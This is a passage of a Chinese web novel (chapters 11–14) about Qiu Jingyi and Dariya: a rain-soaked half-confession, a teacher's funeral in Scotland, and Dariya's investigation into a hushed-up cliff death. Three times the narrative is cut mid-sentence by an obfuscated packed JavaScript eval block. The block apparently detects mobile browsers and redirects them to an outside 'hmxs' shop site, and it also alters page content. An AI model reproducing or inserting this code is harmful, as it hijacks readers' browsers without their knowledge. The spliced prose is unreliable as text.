「ButI’dbehonest,itdoesn’tbothermeasIdon’twantrelationshipanyways」(但是说实话啦,我无所谓的,我反正也没想着要搞对象) 「AndiftheysaynothenInormallyjustleaveanywayshaha」(还有呢,就是如果她们说不的话,我反正是会直接甩手走人的,口合口合) 破防后挽尊的找补,秋景翳把号码直接丢进黑名单后又接着说:“回答之前的问题,我不喜欢脑袋空空的人,我欣赏漂亮,勇敢,聪明,善良的人。” Dariya不知道秋景翳为何突然又提起了已经过去的话题,她脑子乱乱的,也不知道该做什么反应,只是天空这时正好飘起了雨,她下意识呢喃了一句,“下雨了…” 秋景翳又一次不知道从哪摸出了把便携小雨伞,她快走两步在Dariya身前撑开伞,黑色的伞面遮住了两个人的面颊,第三视角只能看到两具贴得很近十分亲密的身体。 秋景翳只是觉得时间氛围都合适,于是用没撑伞的那只胳膊环住了Dariya,十分短暂的拥抱,在秋景翳说完“比如像你这样”后就分开了,Dariya愣在原地,她甚至没来得及感受到秋景翳的体温。 她说她很擅长引导朋友关系,但她对Dariya做出的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904723|192381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举动很明显不是出于这个意图。 Dariya花了一点时间找回呼吸,她的声音依旧很小,“为什么突然抱我…” “你脖子上的脉搏跳得很快”,秋景翳总是摆出张笑脸让人捉摸不透态度,现在倒是难得认真起来,没有人的街边,她就这样撑着伞站在Dariya对面,“你喜欢我吗?Dariya。” 如果现在给Dariya连上心电监护仪,那诡异的数据和波形想必医生看了都要冒头冷汗,答案无疑是喜欢的,可她并不想说出口。 秋景翳似乎也没有再等一个确切的回答,她继续说:“我不知道喜欢是什么,我在畸形的环境度过了定性的时期,我的心理绝对谈不上健康,我从没有体会过这种感情,也没有认真思考过这个问题。” Dariya对秋景翳的话并不意外,甚至完全在她的预想之中,但心底还是不停地溢出失望,“这样…” “我有很多字面意义上的朋友”,不止,还有字面意义上的前前任,“多到数不清,可我只对你有可以不用计较后果的信任。” Dariya听得出秋景翳对她的评价不低,她的心搭上了秋景翳这艘海盗船,时上时下让人头晕,“你为什么会信任我呢?” “我想…最开始大概是因为看到你是如何对待Jasmine的,跟你们两个待在一起让我觉得很安心,还有你是如何对我的,我从未体验过这样的相处,这对我来说弥足珍贵”,照顾和照顾的意义都是不一样的,Dariya就好像知道秋景翳内心深处在渴求什么需要什么一样,她做的一切都在对症下药,人对缺失的东西有所向往很正常。 Dariya忽然联想起之前,秋景翳只是因为这些理由就不顾自身安危救她,她完全确认秋景翳并不会爱。 因为在建立三观的阶段从没有被人爱过,秋景翳的所有举动都只是在践行她想象中一段亲密关系里的主人公应当如何做,她只是在自己身上得到了一点一直以来求而不得的东西,而且…她的取向似乎一直都是直的,她什么都被教得很好挑不出一点毛病,这却是以生命里最珍贵的东西作为交换的代价。 今晚的错觉是一场短暂的恩赐,梦该醒了。 秋景翳歪着头笑了笑,脸上多了几分罕见的天真,“谢谢你。” 明明她自己付出了这么多却只记得感谢别人一点无足轻重的给予,Dariya的心狠狠地揪着,被秋景翳揉成一团反复揉搓,“你说什么谢谢啊…” 这个点,远离泰晤士河的地方人烟稀少,细密的水雾被黑色的伞面阻隔,聚成细细水流顺着伞骨自由落体,偶尔有车经过,车灯的暖黄在雨夜散射,柏油路面被照得发亮,底色却被衬得更深,一阵碾压过积水的声音后,秋景翳说:“我是不会喜欢人,但你对我来说不一样,所以我想…我应该是喜欢你的。” 偷偷觊觎的人先说了喜欢,心率过速是必然,Dariya想,还好现在不是夏天某个湿润的夜晚,不然单薄的短袖一定无法遮掩此刻如擂鼓般的心跳,心脏像是没了束缚般乱撞,整个胸腔都在随之震颤。 “吓到了?我不是在表白然后要你给我一个答复,只是合理分析现象得出的结论”,秋景翳伸手在晃神的Dariya眼前摇了摇,刨去了些认真,又挂起平常那副笑脸,“你不一样,我不会随便得对待你的。” Dariya又一次被秋景翳的笑刺到了,笨拙却又努力尝试的样子让人心疼,她从没想过看人笑也会是一种折磨,但秋景翳的笑容总是让她揪心,喜欢是一种心疼。 “嗯…我知道的”,Dariya克制着气息轻叹一声,傻瓜,应该说谢谢的人是我才对。 她的心疼是真的心疼,秋景翳的喜欢却不是真的喜欢。 伤心难过必然是有,秋景翳不会爱,她不怪她,怪只怪自己没有试错的成本,背后是退无可退的深渊,所以除了这句话她给不了任何回应。 她不会因为秋景翳不会爱,就趁人之危地误导她,但她也不会因此就轻易放弃对秋景翳的心动。 爱不是你来我往的交易,本就没有公平可言。 她觉得她真的是病态了,秋景翳随意抛出的鱼钩,连饵料都没挂,她便心甘情愿咬上去,扎疼了也不肯松口。 12. 阿门 跨完年,Dariya就带着Jasmine回了伯明翰,明明没有惊天动地的谈情说爱,割舍起来还是令人胸口发闷,短短两个月像是过了两年那么久。 秋景翳心里自然是不希望Dariya离开,嘴上却没拦着,都是聪明人,没必要不留分寸地把话一个字一个字掰开来说。 Dariya又做了段时间的兼职,找工作的事终于在三月天气转暖的时候迎来了转机,她顺利的通过了面试的三个阶段。 和秋景翳的交流和相处并没有因为那晚抽象的谈话而发生太大改变,收到offer的时候她还是第一时间把这个好消息分享给了秋景翳。 电话很快接通,Dariya的语气难掩激动:“秋,我找到工作了!” “恭喜啊。” 对面听起来兴致不高,但Dariya此刻正在兴头上有点难照顾到,“虽然还是没有提供签证担保,但总归是份正式的工作,有了这个工作经历我的简历就不会太单调了。” 对面沉默了一会,应该是很长的一段沉默,但Dariya记不太清了,只听秋景翳说:“我最喜欢的老师去世了。” “…你还好吗?” “今天…是我生日”,秋景翳的语气依旧是淡淡的。 小岛北部地处山地的临海小城,平均温度比英格兰明显低,难懂的苏格兰口音和略显豪爽的民风,飞机从小岛最北端飞到最南端要不了三个小时,就这么小的地方能有如此大的差异也算得上件谈资。 秋景翳的记忆里Daisy老师是一个和蔼过了头的人,的确是她最喜欢的老师没错,但也只是因为跟其他老师比起来,Daisy人更好罢了,她在很多人眼里都是最喜欢的老师,只是没想到Daisy记了她这么久,她专门叮嘱了家人在离世后要让秋景翳出席自己的葬礼。 Daisy对秋景翳念念不忘的原因,首先,转到苏格兰之后,秋景翳没再上私立或贵族学校,只是普通的secondaryschool,她在一群叛逆teenager里凸显得更有涵养,应对让人头疼的学生时,老师本就更倾向于这样的孩子,其次,Daisy心疼独自漂泊却又十分懂事独立的秋景翳,最后,秋景翳会跟她聊信仰聊历史云云,人生难得一知己,更何况她的见解和头脑远超同龄人。 小老太太身体指标还算健康,一场意外临头,刚过花甲便去得惨烈,她是虔诚的天主教徒,牧师在棺材上洒上圣水,神职人员祝祷吟唱,这是遗体送入教堂前的仪式,只有家人参与。 葬礼很简单,司空见惯的沉闷阴天,在一个普通的教堂,祈祷,弥撒,赦免,墓边仪式,不到两个小时的告别,了结了一个人的一生。 Eternalrest,grantuntothem,OLord,andletperpetuallightshineuponthem. MaythesoulsofthefaithfuldepartedthroughthemercyofGodrestinpeace. Amen. 主啊,请赐予他们永恒的安息,让永恒的光芒照耀他们。 愿因天主慈悲而离去的信徒的灵魂安息。 阿门。 秋景翳穿着身纯黑礼裙,手戴洁白蕾丝手套,头发低低挽在脖子上方,羊毛cocktailhat(一种英式礼帽)的黑纱遮住了她的额头和眉眼,除了那句Amen她一句话也没有说过。 Dariya把Jasmine送去了日托,她陪秋景翳出席了葬礼,时隔三个月再见,秋景翳一如初见,像是时间的流逝独独在她身上冻结。 出了教堂,Dariya和秋景翳走在公园里一条碎石子铺成的小路上,下过雨的路面踩上去能渗出水,秋景翳的表现毫无破绽,Dariya其实很想要安慰安慰她,但她用余光看秋景翳的侧脸时,只能读出平静,似乎并不难过。 秋景翳却像是看透了她的心事般,挑了下嘴角,说:“我没事。” 她的确没什么感觉,那天接到Daisy的家人打来电话的时候只觉得有些惋惜,因为Daisy对退休生活的第一个期盼就是要去她心心念念的南半球,只可惜她等不到夏天的圣诞节。 没有伤心没有悲痛,只是在Dariya问出那句“你还好吗?”的时候,她的心里忽然酸了一下,就像是金属相互摩擦的那种感觉,然后她没头没脑地说了句“今天是我生日。” Dariya见好就收,没有追问下去换了话题,她想秋景翳昨天该是没什么心情,“这会蛋糕店还没下班呢,要不要去买个小蛋糕,怎么也要意思一下嘛。” 没有人为秋景翳的出生感到庆幸,她对生日从未有过期盼。 她摇了摇头,“陪我去海边走走吧,不远,走路十来分钟就到。” 三月的海边妖风阵阵,刮的皮肤生疼,秋景翳把搭载肩上当装饰的羊绒围巾取下来,掏了个帽兜的形状给Dariya戴上,Dariya连忙说:“我不用,你戴着吧,挺冷的。” “我不怕冷”,秋景翳的白皙的脖颈就这么暴露在冷风里,连瑟缩一下也没有,Dariya不再推诿。 这片沙滩太细太柔软了,每走一步都会往下陷,两个人走得很慢,不太远的地方有一个凸起的山崖,肉眼看着还是有些高的,秋景翳指给Dariya看,“好多年没来了,以前我最喜欢坐在那个悬崖边上看海,也不知道什么时候新修了个长椅。” Dariya问:“要去那坐坐吗?” 秋景翳似是下意识抬脚想要往那走,皱了下眉头又莫名改了主意,“不了。” 静默了一会,秋景翳突然讲起了Daisy,“Daisy虽然教过我,但我第一次和她熟络起来是我胳膊骨折转学的时候,她那天请假,正好新学校报道的空档我坐在海边发呆,碰到她也在发呆,她知道我转学的原因就跟我聊天,她以为我那时候是个只在学校装乖的问题少女。” “你没有跟她解释过吗?怎么不解释一下,就这么一直被误会着。” “没必要,除了你,这些事我没跟任何人讲过,她呢,就想…纠正我,我没拦着,结果她从随身的包里掏出来一本看起来至少年纪比我大的书,那是我第一次读圣经,我对神学没什么兴趣,她只是挑了一些片段读给我听。” Sowedonotloseheart.Thoughourouterselfiswastingaway,ourinnerselfisbeingreneweddaybyday.Forthislightmomentaryafflictionispreparingforusernalweightofglorybeyondalparison,aswelooknottothethingsthatareseenbuttothethingsthatareunseen.(2Corinthians4:16-18)* 所以我们不消沮丧。我们的外在虽日渐衰弱,内在却日新月异。因为这短暂至轻的苦楚正在为我们预备无比沉重亘古不变的荣耀,我们顾念得不是所见的,而是所未见的。 “我当时只觉得这些都是无稽之谈,痛苦就是痛苦,干嘛说得这么好听?后来我们总见面聊得越来越多,当我得知她被类风湿性关节炎折磨了整整三十年,好多次都想一死了之之后,我试着从她的角度理解那段话,人只能往前看,被美化的不是痛苦而是活着的希望。” 她顿了顿,从喉咙里轻呵出一口气,“不过现在看来,挺可笑的,也挺可悲的,因缘业报,佛教讲因果论,可是果未必总配得上因,人们把这样的偏差归结于“命”,无论好事坏事,避无可避的事都是一句人各有命,圣经说人们的命运和缘分取决于自由意志”,她涩声一笑,“人总是爱琢磨些不切实际的东西,事实是,真正面对这些虚妄的词时,大家都是平等的微不足道。” 风声又起,Dariya不确定秋景翳是不是叹了口气,“Dariya…” “嗯,我在听”,Dariya的胸口像是堵了团破布。 “我骗你的,我不好,我心情很低落,从火车停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904724|192381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在站台的那一刻起就一直是这样,我好像…我好像不该来这里。” 几个高中生嬉戏着从不远处沙滩边缘的主路经过,海风卷着他们的吵闹包裹过来,Dariya认出了那身制服,以及那个街角,秋景翳唯一一张短发时期的照片就是在这里穿着这身衣服拍的,只是她形单影只,也看不出快乐。 “那明天我们坐最早一班车回去吧”,再往前几米远,有个小餐车,是间可移动的咖啡屋,不过看轮胎扁塌的样子应该有很久没有移动过了,“起风了,去喝杯热可可吧”,Dariya第一次主动牵起了秋景翳的手,她握得很紧却怎么也暖不热攥着的冰凉,“糖分会让心情变好一点的。” 她不知道的是,秋景翳在这一刻就已经得到了慰藉,表情终于比刚刚鲜活了一点,“你请我喝的话,心情会更好。” 等热可可的时候,秋景翳一只胳膊搭在台面上,从这个角度她刚好能看那个山崖,没来由的她的手指毫无节奏地敲着桌面,频率听起来带着烦闷,她很少会有这种控制不好情绪的时候。 老板大叔递过来杯子的时候先是提醒了烫手,然后问:“Wouldyoulikesomemarshmallowonthetop?”(你们要不要加棉花糖?) 秋景翳:“No,I’mgood,thanks.”(不用了谢谢) Dariya:“Meneither.”(我也不用) 大叔看着秋景翳的脸,眯了眯眼睛,像是在思考些什么,“Waitaminute!Miss,haveIevermetyoubefore?Youlookabitfamiliar.”(等下等下,小姐,我是不是在哪见过你?你看起来有点眼熟) 秋景翳礼貌地回了个微笑,“Idon’tthinkso,sir.Ibarelydrinkcoffeeorhotchocolate.”(你应该是认错了,我很少喝咖啡和热可可),言下之意我应该没有照顾过你的生意,即便我曾经在这里生活过。 大叔发出了一个音调由高转低的嗯,“Maybe…Um…Areyoutwins?”(emmm,你是双胞胎吗?) “That’simpossible.”秋景翳有些无奈,礼貌却没丢,“YourmemorymustserveyouwrongIsuppose.”(双胞胎是不可能啦,你肯定是记错了) “Well,I’msosorry.Havealovelyeveningyouladies.”(抱歉认错人,两位女士晚安咯) “Thanks,youtoo.” 正要转身离开,秋景翳和Dariya都听清了大叔自拍大腿的自言自语,“Ohitoccurredtome!Anaccident…”大叔紧接着摇摇头,似是觉得自己的想法荒谬,无奈地自嘲了一下,“No,Iwasbeingsilly.”(哦我想起来了!是一场意外,不…怎么可能,我在犯什么傻) 忽然尖锐的耳鸣贯穿整颗头颅,紧接着秋景翳就觉得的脑袋好像被一股强劲的外力猛击了一样,疼得无法喘气,眼前一黑踉跄了一下,差点把手里没封盖的热可可掉在地上。 Dariya连忙伸手扶了一下她的胳膊,“你怎么了?” “没事…没事”,秋景翳缓了一下摆摆手,“杯子太烫了。” “你怎么直接端着杯子就走了?”Dariya抽走秋景翳手里的杯子放在旁边的小桌上,“你等我一下”,她返回餐车拿了个cupsleeve(套咖啡杯的那个),想了想秋景翳手凉应该对温度很敏感,又顺便取了个cupcarrytray(杯拖?)。 秋景翳含糊地应了,她还深陷在刚才那个疼痛的瞬间里,在视线被剥夺的时候,她听到了海浪的声音,盖过了耳边呼啸的风声,那么近,那么近,可她明明和大海隔着一整个沙滩的距离。 彻骨的寒冷像是从地底长出满是尖刺的根茎,一股脑地扎进了她的骨血里,明明已经过了冬天,明明她并不怕冷。 13. 猜测 秋景翳和Dariya去日托接了Jasmine,两个人在酒店里开了一间标准间,小岛的酒店很多都是麻雀虽小五脏俱全,一个字概括就是挤。 这个房间倒是意外的面积很大,两张3/4double雪白的床上铺着帘红色的床旗,墙面是淡淡的暖黄色,地上铺着层深灰色的防脏地毯,踩上年久失修的木地板,吱呀吱呀的声音闷在地毯下听着有些憋屈。 虽然地理位置偏了点,去火车站不太方便,但性价比绝对符合它在Googlemap上的评分。 Jasmine在日托玩了一天,回来路上就呵欠不停,和Dariya一起洗了澡早早就睡下了,秋景翳反正是个失眠患者,索性等她们都收拾完躺下了才慢慢悠悠去泡了个澡。 明明在海城住的日子比在小岛要短很多,但秋景翳一直都没有习惯高纬度温带海洋性气候的干燥海风,护手霜是随身必带,出远门过夜的话身体乳也是必不可少。 她穿着浴袍出来的时候,Dariya还没睡正躺在床上玩手机,Jasmine倒是已经睡得天昏地暗了,就算把她从床上拎起来头朝下晃一晃也不会醒。 “你怎么还没睡啊?都十二点多了,明天还要早起呢”,秋景翳坐在床边抹身体乳,松松垮垮的浴袍随着躬身的动作从左肩滑落,她顺手捞起。 几秒钟的时间,Dariya还是看了个全,秋景翳的肩背很薄,倒不是瘦的像吃不饱饭的难民,反而是种易碎的感觉。 锁骨的尽头在肩膀上凸起一个小圆包,肩胛骨微微隆起一个优美的弧度,从C7(隆椎)开始脊柱轻轻凹陷藏进浴袍,Dariya甚至能想得出水珠顺着那点凹陷往下滑的样子,绑带勒出的腰线和肩臀的比例都很合适,体态匀称,她差点就忍不住想上手描绘一下那些堪称完美的线条。 当她下意识动了动手指的时候,她发现了一个问题,枪伤是可以痊愈到什么痕迹也没有吗? “秋…你的伤,你做了疤痕修复吗?” “哦?你说中枪的地方?已经看不出来了吗?” “是啊,一点痕迹都没留下。” “唔…”秋景翳没当回事,随口到:“体质原因吧,我身上的伤好像总会自己长好,没留疤不好吗?” “没留疤当然好啊”,那么好看的背留疤了多可惜啊,Dariya还是总觉得哪里怪怪的,但困意上涌,她打了哈欠便没再深究下去。 “困了就快睡吧,我去关灯。” “唔好,那你也早点睡,晚安。” “晚安。” 窗外又开始下雨的时候,秋景翳从浅寐中醒来,她看了眼时间估摸着也就睡了不到一个小时,就这么点时间她还一直处在半清醒的状态,揪着被子她打了个哆嗦,真是奇怪,暖气还开着,为什么今天总觉得冷。 可是现在才凌晨三点不到,不睡觉还能干嘛呢?就算睡不着她也只能闭上眼睛欺骗欺骗身体,不知过了多久,在意识崩塌的边沿,她听到了记忆里从没听过的男声,内容是什么完全听不清,词句都太模糊了,像是沉进了水里,不一会人声戛然而止,又是那近在咫尺的海浪声——秋景翳被冻醒了。 她迫切的想要汲取一点温暖,于是她翻身下床爬上了Dariya的床,钻进她的被窝里从背后紧紧贴着她。 Dariya明显受了不小的惊吓,惊弓之鸟本能地颤抖着身体摆出防卫的姿态,但在听到秋景翳的声音后她就立刻放松了紧绷的精神。 “我好冷”,秋景翳的脸贴着Dariya的颈椎,微凉的呼吸撩拨过后颈时能明显感觉到Dariya缩了下肩膀,“海水好冷…”她又小声呢喃,这句话好像只是在说给自己听。 “你又做噩梦了吧?没有海水,你躺在床上盖着被子,还有暖气呢,别怕”,Dariya没有赶她走,她心甘情愿给予秋景翳所需要的慰藉,即便自己会有些煎熬,“冷就一起睡吧。” “嗯…Dariya,你真的…好暖和啊。” 一个半小时车程对成年人来说是很遥远的距离,没有路费的忙着赚路费,有路费的忙着凑一个彼此从生活的缝隙里挤出来的共同时间。 那之后秋景翳从春天一直忙到盛夏,Dariya也是上班,研究,带孩子不得空,除了五月一起给Jasmine过了个生日,直到小岛短暂的夏天过完,两人才有机会再碰面。 八月,Jasmine因为开学就上正式的学校了,学校会组织去欧洲的研学活动所以她得提前办申根签,小孩子没有独立护照需要监护人协同办理,Dariya带她去了伦敦的签证中心,顺便给自己也办了,工作需要有可能会去欧陆出差。 办完事情,Dariya到国王十字的房子时,秋景翳正在收拾行李,Researchtrip她要去瑞士,这一趟快的话也要待个半年,“我明天中午的飞机,备用门禁我放在玄关了,你拿着,想来随时来,不用跟我打招呼,这些花花草草就劳烦你照顾了。” “放心吧,不会让它们死掉的,倒是你一个人在外面要记得好好吃饭,别总瞎凑合,三天饿九顿。” “饿了肯定会吃饭的”,秋景翳卖了乖,“你的课题怎么样了?” “重新写了ResearchProposal,联系了一些方向一致的教授,问他们收不收博士或者研究助理,读博国际学生拿奖学金的概率太低了,自费就算了那对我来说是天价,最好是工作,找着看吧”,一提这事胸口就像被一块大石头压着,毕业生签证还有一年就到期了,Dariya叹了口气,“我的方向比较小众,合适的导师太难找了。” 离开了学校,想找人就没有秋景翳这样待在学术圈里的人方便,她想了一下说:“你把CV和RP也发我一份吧。” Dariya明白秋景翳的心意,“没事的,我自己慢慢找就好了,你的行程那么满不用费精力在我身上。” 秋景翳一边笑着一边睁眼说瞎话,“我只是突然对物理感兴趣了,想提前瞻仰一下未来要获奖的论文的最初版,我在物理界唯一的人脉可不可以赏个脸,让我走一下这个关系?” “你总是这么哄人吗?”Dariya一边笑着说一边把秋景翳不小心掉在地上的衣服捡起来递给她,“不过真的不用啦。” “我想要就总有办法弄得到”,秋景翳瞥了一眼Dariya包里的电脑,“你电脑密码是Jasmine的生日”,她虽然用了肯定句,但确实是瞎猜的,然而从Dariya一闪而过的微表情里,她确认自己猜中了。 Dariya也不好一直拒绝秋景翳的好心,“好啦,等会我发你看看,如果遇到合适的教授的话你就把邮箱告诉我,我自己去联系,但你真的不用特意在这件事上花时间。” “知道的放宽心,我就是帮忙留意一下,毕竟我能接触到的学者比你多嘛”,留意是嘴上说说,心里对这件事是实打实上了心,Dariya即便不愿出于利益结婚,秋景翳也不能眼睁睁看着她签证到期回到那种地方去。 秋景翳坐在地上,夕阳让她的每一根发丝都在发光,Dariya弯腰揉了揉她的头发,“谢谢。” 秋景翳愣神片刻,从前很反感男朋友对自己做出这样的举动,但Dar ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904725|192381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' iya这样却让她有种奇异的满足感,她的拇指反抵在唇间下意识Wink了一下。 转眼又是一年底,今年小岛的冬天来得很突兀,前一晚的风像是夏天的尾巴扫过,而第二天一早玻璃上竟起了层薄霜,就是这一天,Dariya换了一份在伦敦的工作,虽然没有签证赞助,但工资更高,就是伦敦房租太贵她还住在伯明翰没找到合适的新家,不得不每天坐火车转地铁通勤。 某天下班,眼看着天越来越冷了,她打算去秋景翳那给那些花花草草浇点水松松土加点营养液,别熬不过年关。 她给秋景翳发了条消息问:「之前买的小铲子你放哪啦?我想给花松松土」 「应该就在阳台旁边的储物间里,我上次随手丢进去了,乱七八糟的东西比较多可能不好找,你翻翻吧」 还真是…一点没夸张啊…连下脚的地方都没有,完全就是只管往里堆不管收的。 Dariya看到那抹绿的金属物件可怜巴巴地藏在几个纸箱子的夹缝里,她探身去够,结果撞翻了旁边一个分量很轻的纸箱子,她将散出来的东西捡起来尽数归位,最后是张明信片,黏在地上让人费劲抠了半天。 明信片上贴了邮票写了字,Dariya一眼就认出那不是秋景翳的字迹,明信片上的英文是手写的铜板印刷体(Copperplate),行笔连贯优美圆润,但秋景翳平常写东西,无论贺卡还是文件用得都是斯宾塞体(Spenserian),字母整体右斜基本呈椭圆形,开头和结尾会拉出夸张的弧线,极为华丽优雅。 虽然在刻意避免阅读内容,但她无可避免的看见了开头的ToMom——给妈妈?好奇心驱使她看向落款——ChenQ. Dariya尝试拼读了一下,“Chen…Qiu…?秋晨?”看到邮寄地址是寄往海城之后,她觉得这样的巧合出现的概率也太低了,这八成就是属于秋景翳提过的那个同父异母哥哥的东西。 还有一件事让她很在意,这张邮票是五年前大约八九月份的时候发行得带有伊丽莎白女王头像的纪念版,算时间,那时候秋景翳已经住在这里了,可从未见过的秋晨手写的明信片为什么会落在这里? 为什么明明没有心跳被医生放弃又奇迹般地抢救成功? 为什么枪伤没有留疤…脖子被刀划伤却留了呢? 为什么冬天不怕冷夏天感觉不到热? 为什么会记不起入学剑桥前那么有意义的阶段的事? 为什么去了那个城市就不舒服? 为什么突然说海水好冷? 为什么老板要问是不是双胞胎这样不寻常的问题? 为什么…为什么听到老板提到意外的时候就像魂丢了一样? 为什么总是那么冰凉… 进储物间的这几分钟,太阳说翻脸就翻脸,窗外天色骤变,疾风将雨星从为透气而打开的窗缝吹进来,Dariya听到声音赶忙去关了窗户,冰凉透明的雨水平铺在大理石地面上,从墙角蔓延至她的鞋边,寒气顺着双脚一路攀升。 严冬的冷水带着无数个为什么一并涌入脑海,拼凑记忆中秋景翳身上违和的点点滴滴,Dariya开始梳理那些一直以来隐隐觉得不合理的地方,她不由自主打了个冷战,这些碎片似乎想要向她诉说什么故事,但总是犹抱琵琶半遮面吊着人胃口。 她对调查别人这件事不感兴趣,但不知怎么,这次就是很在意,就是很想要揭开这层面纱,看看被笼住的是玉面还是骷髅。 基于这些琐碎的猜测是无法推敲出任何实情的,Dariya需要的是实打实的证据。 14. 调查 多亏了这么多年做研究的经验,信息检索对Dariya来说是信手拈来的事,饶是如此她也没能找到可以帮她捋清思绪的蛛丝马迹。 十二月,英格兰下了场小雪,Jasmine周末去做学校的课外活动不在家,Dariya索性给自己找了个事——她又一次去了上次那个北部的小城。 闻着纸页和油墨的味道,摘掉咖啡色的皮质手套,她踩着变形的木地板站在暗红的书架前,按秋景翳刚到这里的时间,抽出第一份报纸,找寻关于“亚洲女孩”,“意外”的信息,毕竟这座城市的国际学生很少,找起来也不算大海捞针——前提是得有针。 在当地图书馆的档案室里泡了两天,周日午后,Dariya毫无意外的无功而返,她也不知道自己到底在对可能从头到尾都只是件误会,可能从未发生过的事执着什么,连网上都找不出来的事情,遑论沉寂的纸媒,但直觉却让她一直悬着颗心。 Dariya买的火车票是openreturn,所以回去的时间没有要求,刚好是个难得的晴天,她想起秋景翳说:“那个崖边的日落很美,下次你可以来看看”,上次是天气和心情都不配合,现在么…择日不如撞日,她坐上了去海边的公交。 下车的时候距离日落大概还有一个多小时,温度却已经降了下来,本想找个咖啡馆坐坐,但看到那个餐车还开着,Dariya犹豫了一下还是走了过去。 老板大叔一眼就认出她了,“今天只有你一个人啊?” “你记得我?” “一时半会忘不掉呢,哈哈,上次不是闹了个乌龙嘛!” Dariya端着热可可,咬了咬嘴唇,还是问:“你上次说的意外…能和我讲讲吗?” “意外?哦…哦!你听见我的自言自语啦?就是几年前出过一个坠崖案”,大叔指了指那个凸起的悬崖,“喏,就在那,那个遇难的女孩侧脸和那天跟你一起的朋友的侧脸太像了,所以我才一时冲动问了那么一句。” Dariya太阳穴的神经像是被带刺的荆棘狠狠挑了一下,刚才也没觉得空气冷到吸进肺里会疼,现在浑身都不舒服,“你见过…死者吗?” “没有,我只是见过照片,那照片拍得也并不清晰,害,我有时候嘴在前面跑脑子在后面追,麻烦你帮我跟她带一句道歉。” 秋景翳爸妈的那个情况,Dariya知道她是两人唯一的孩子,正是因为这样才更让人冷汗直出,“照片…?” “说起照片,这事也奇怪,那是我邻居家的儿子拍的,我跟他都是喝酒到后半夜回来在家门口碰到,他不太清醒说有个东西给我看,一会又说意外一会又说艺术的,我当时也喝晕了没觉得有啥,他说他联系了记者,他要被采访要上电视,第二天酒醒我才意识到好像那孩子跟我说了件不得了的事”,喝醉后的记忆乱序和缺失,大叔边说边想边停顿。 Dariya本就悬着的心此刻提到了嗓子眼,“后来呢?” “后来…后来好像记者的确来过,但那孩子改了口,说没照片都是自己喝醉了看错了,如果坠崖是真的,在这小地方也算是大新闻,但没有报道提过这件事,住在这附近的人也都不知道这事,可我觉得我没有那么醉不应该记错啊,我觉得我当时真看到了照片,不过如果真没发生过意外那倒是件好事。” “那孩子还住你家隔壁吗?我想去见见他,不瞒你说,我和我朋友都有点在意这件事,毕竟她家的环境比较复杂,父母很早就分开了,有过她不是独生的传闻,所以还是想确认一下”,Dariya随意扯了个谎。 “他啊…他家在那之后没多久就搬走了”,大叔回想的时候脸上掺了几抹羡慕,“一夜暴富似的,买了辆跑车天天和人炫耀,听他们说要搬去伦敦,具体地址就不知道了,不过我可以告诉你他的名字,你试着找找吧,嗯…我记得他左脸颧骨的地方有两颗一上一下的小痣,红发蓝瞳,皮肤苍白,凯特人的特征特别明显。” “好,多谢。” Dariya攥着杯子在手里转了转,她回味着大叔的叙述,太不寻常了,哪里都很反常。 找人是个废时间的过程,好在她足够有耐心。 Owen家所在的区域房价在伦敦属于中等偏上,相比于曾住的廉价小排房,一夜暴富说的一点没错,Dariya敲了两下狮首doorknocker(敲门用的),很快就有个光着脚穿着磨白了的宽松卫衣,和秋景翳差不多年纪的男孩开了门,比起大叔说过的特征,这张脸这些年多了很多钉子。 “Um…Hi…?”看到门廊站着的陌生面孔,Owen有些不知所措,“HowcanIhelpyou,Miss?” “Sorrytobotheryou,Ijusthaveaquickquestion”,为了杜绝Owen找借口搪塞的可能,Dariya想要观察他的第一反应,“Haveyouevermether?” 手机里女孩的侧脸将Owen的印象拖拽回了五年前,苍白的肤色,喷溅的鲜血,本应该诡异恐怖,但因为那张姣好的面容,将血腥和死亡变成了一种艺术。 Dariya对他呼吸速度放缓肢体动作减少下意识抱起手臂的反应很满意,这证明她没找错人,意外也不是空穴来风,在这里她能得到想要的真相。 “Areyouapolice?”没想到Owen先自乱了阵脚,他不是什么良心泯灭的人,有人要抹去这个生命存在过的痕迹所以花钱收买他,但这件事一直横在心里成了道坎,曾经最讨厌去教堂忏悔,如今一周一次去得比谁都准时和主动,“Icanexplain!Ihadnothingtodowiththis!” 